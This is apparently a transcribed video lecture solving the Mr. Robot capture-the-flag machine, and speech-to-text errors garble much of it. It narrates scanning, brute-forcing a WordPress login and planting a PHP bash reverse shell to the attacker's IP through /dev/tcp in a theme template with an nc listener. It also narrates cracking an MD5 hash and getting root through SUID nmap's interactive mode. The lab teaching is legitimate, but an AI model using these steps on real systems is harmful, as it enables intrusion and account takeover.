Now the first thing let's start with net discover oc sudo root.
So to make sure we are running as a root now, let's wait a little bit until we find the machine.
Okay, now let's stop the scan.
Actually, it is this one OC.
Now let's start with PN Map Dash E, book the IP address and press enter.
Now as you can see, we found that Port 22 is closed, but it is here.
Port 80 is open and port 443 is open.
Now if port 80 and what for.
For three, the http https are open.
So now let's run the RB Darby Edge TB Now that put the IP address.
Now here it will start scanning the machine.
Now let's give it some time.
Okay.
Now, as you can see, we found something like slash admin.
We have robots text.
Now, this is the derby, the utility.
We should we shouldn't depend on the tools itself.
So sometimes we can.
Just put the slash, read me slash robots, text slash admin slash WP, log in, admin, whatever.
All right, so let's see the robots.
Okay, this is the first one.
So control and press on it.
But first.
Yeah, as you can see here, we found something.
The user agent, we found this society thing.
Whatever.
We found key one of three.
Now let's have the key one of three here.
Yeah, this is the first key.
Cool.
So far, so good.
Now we found another file, which is this one.
Now, let's see what it will give us.
Yeah, it is fine.
Now let's download it.
Let's open it.
Yeah, it seems I'm already downloaded here, so open a terminal here.
Now let's get this file.
And the file is F society disk.
And you can see that here.
It contains a lot of string and values.
All right.
So, so far, so good.
Now, what else we found here?
Okay, let's quit from this.
We found that we have a slash slogan.
Logon.
Let's go to the to that actually slash slogan, which is this one.
Oh, it will redirect us to the WordPress, the WP Dash log and FB.
OC oc.
So far so good.
Now actually for this we can use the WP scan utility.
So let's quit from this for now, or we can leave it in the background, by the way, but we don't need
it anymore anyway, for now.
Now we will use the WP scan that the issue URL and the IP address slash.
Again, all IP address only then that does enumerate you for user.
So this will start enumerating for the users.
So it will give us a list of users.
Now let's give it some time.
Okay.
Actually, it will take so much time, so I will skip this.
Okay.
As you can see, controls it to stop it.
Now let's use this same command.
But this time let's try getting users ock now because the Mr. Robot, the main character is Elliot.
So we will use Elliot, by the way.
Actually, I have this as a shortcut for you that by using Elliot.
Actually, it took me some time to get or to guess.
It is Elliot.
The username, but the conclusion the username is Elliot.
Now, how did I know that?
Because I waited for almost four or four or 5 hours for this until it is start guessing some users.
And I didn't find anything actually, so I tried to to use specific users and one of the users is Elliot.
So I started with Elliot and when I got lucky.
All right, so we will use the W scan the T as a thread and we will use 10,000 and we will use the user,
which is Elliot.
OC p as a user and p for the password dot slash f society.
Actually, this is inside the downloads.
All right.
And then just as you are.
To what the CTB.
The IP address of the machine.
Now let's press enter.
Now if I give it some time.
It will show us the password.
Let's wait a little bit, actually, because actually this is a six megabyte.
Correct.
So which means 6 million cars.
So it will start.
I'm the wards.
Actually, it is.
It has a lot of words here and a lot of lines.
So, yeah, it will take some time.
So actually it took me about four or 5 hours.
Maybe if your hardware is better than me.
So it may take around 20 minutes or 30 minutes, 35 minutes, whatever.
Anyway, the password after getting these, actually, I am showing you the results of the scan.
So if you want to do it the hard way, you need to wait.
Okay.
If you are ready to wait 4 hours or 5 hours, which is I recommend you to do.
Just open it in the background and complete your day.
No.
No issue at all until you find it.
Like, how did I find it?
But I am just.
We can't wait 5 hours here in this lecture, so I'm just giving you the result.
Okay.
Now, so the login is it as we saw and the password is E are 20 T which is this one?
This one.
This is the password.
Okay.
So far, so good.
Now it is.
This is the password.
Let's put it here and let's put it as the password and login.
And this should work.
As you can see, it is working now.
Okay.
Now what we should do next is actually this is a WordPress, remember, and this WordPress, we can
put a reverse shell on it as a BHP code, right.
So let's go to the appearance.
We should go from here.
Appearance, then the editor.
OC theme editor, as you can see now we're inside it here at the top.
Let's put a BHP.
This is BHP.
This is WordPress, right?
So this is a BHP.
So let's put a symbol.
BHP code is the exit command.
Exec.
And let's put inside it in double quotation.
Slash bin bash.
Nash c in a single quotation bash dash.
I put it to an percent.
Slash def slash TCB slash 1216, eight, which is the IP address of my machine, which is this one.
This is a revolution.
Which is this one.
For.
Story eight one.
When for?
Yeah.
And slash four, four, three.
Zero.
Put it to the important one.
Now, you may ask me, how did I go and how did I find about this?
Actually, just open a sheet, cheat sheet, which is reverse shell.
Cheat sheet.
So anything.
You shouldn't memorize anything.
No problem.
So you can see that we have this version for the test monkey and one of them is the BHP, as you can
see.
Or you can have it as a bash, which is this one.
No problem.
Anyway, it will do the job.
But I am using this as a BHP and executing Shell Command, which is the dash, dash C, the dash, the
ampersand.
And this is it.
So let me remove this, actually.
This should be here.
The first thing.
Like this.
And the single quotation is like this.
So yeah, now we are ready.
But before I update the file, I need to open the shell as NC Dash and V LP and put the port number
which is, as you can see from here, four, four, three.
Yeah, as you can see.
Now, update the file.
And then let's go to the style.
The CCS or let's go to any one or anywhere here and it so let's put.
Fists, for example, or anything.
Now, if you open this.
Maybe something went wrong.
Actually, I should go to the templates of the four or four.
Okay.
So this is not fun, right?
So maybe I should actually should cut this and put it on the templates of 404, which is this one.
Okay.
So let me put this here.
And this updated.
Now I am listening.
And if I listen to this as is not found, remember this is not found.
And we we can put it either here.
Or here.
When the header.
As well.
It's did this.
So if I go to the IP address of the machine.
Now let's go to something that found which is test.
Now you can see that we are able to connect, as you can see.
All right.
So we need to keep trying.
By the way, this is the main website or the main page for the website.
This is not showing because we are using that.
No, actually, this is just the default behavior or default page anyway.
Now, as you can see here, we are seeing less ID.
Now you can see that the ID is one.
We are the demon use up and as we are inside the machine.
Okay, cool.
So far so good.
Now let's try to go to the home to see what is inside it.
We have if I type I, as you can see, we have ALS.
No, actually, we didn't have it.
This is the.
Command.
We have the robot inside it here.
We have key two of three.
So let me try to get it.
Permission denied.
Okay, no problem.
Now let's try.
Get.
That bastard here.
The password, we are able to access it.
Cool.
But you can see that this is the robot and this is the password for the robot.
So it seems that if I type su dash.
Probert.
No, it is not running.
Okay, no problem.
But you can see that we have this command or this warning must be run from a terminal, which means
that we are running we are not running through a t y shell.
Now, how to use such a thing?
We can use Python.
Let's see.
First question is if Python is installed.
Yeah, it seems it is installed.
Yeah.
Sorry we got.
Got interrupted.
Let's run again.
Cool.
See the home?
Robert.
Now let's try this python dash c and then import p t y semicolon t y the spawn and open slash bin slash
s edge and press this and put this.
And yeah, you can see that.
Now we are here.
Now let's try type ls you can see ls it will show us some information id the same thing so if I type
su robot first here at the Y it is it it wasn't working correctly because there there was an extra colon
here or here extra single quotation.
Now it is working by type L as it will show us ID the same thing.
Now if I type SU robot it will start asking for password.
Now remember that bastard found it here.
This one when we get.
The Royal Dutch Divide is one.
So let's try.
But this password, actually.
Yeah.
Here it is.
Now let's put the password.
Okay.
It didn't work.
No problem.
But if you saw actually this is MD5, you can see that password, the troll and the five.
So from here let's go to empty five cracker.
Let's use crack station.
Actually, this is a good one and let's have the password or the MD5 thing here.
Let's put it here.
Now let's crack the hash or you can see that this is the result.
Now let's try this result.
This is the crack of the result.
So again, actually, the arrows will not work.
So, Robert and with the password and oh, you can see that now we are able to connect.
Now we are, Robert.
Now if I go to home robot and try to get the key one key two of three.
I mean.
Okay, you can see that we got the second key.
So far, so good.
What remains is the third key.
Okay, no problem.
Now, after actually investigating the machine and checking a lot of things, we found out that we have
a map running as a root.
Now, how did I know that?
By searching a node.
And by doing this command.
Find slash.
Dash.
Penn +6000.
This means that this is this is a suicide.
So this is which means run as the owner and the owner will be wrote in that case to as to the final.
So in case of problems, we will put it here and let's grab the slash bin.
Now press enter.
You will see that it will start searching about it.
And one of them is the end map.
Okay.
So we can use and map dash dash interactive.
So put the command dash dash, enter.
Active press enter.
Now we are inside the command.
Now let's put shift one or the exclamation mark as H.
If I type ID now.
Oh, you can see that the EU ID effective user ID is root.
As you can see, the group is route, which means that we can go to the D route less kat the key.
Three of three.
We are able to see the file or the content of the file.
So by doing this, we are able to get the third file.
Now what is this first boot then?
I'm not sure.
It is empty.
No problem.
So you can see that we are able to get the third file.
Now, this machine was good, actually exercise for us.
Now I know it is not that simple.
There were a lot of guessing actually, like the user is idiot.
So this is we are using we used the social engineering skills here.
We use a lot of enumeration tools guessing, brute forcing and python scripts.
BHP repairs share and more than.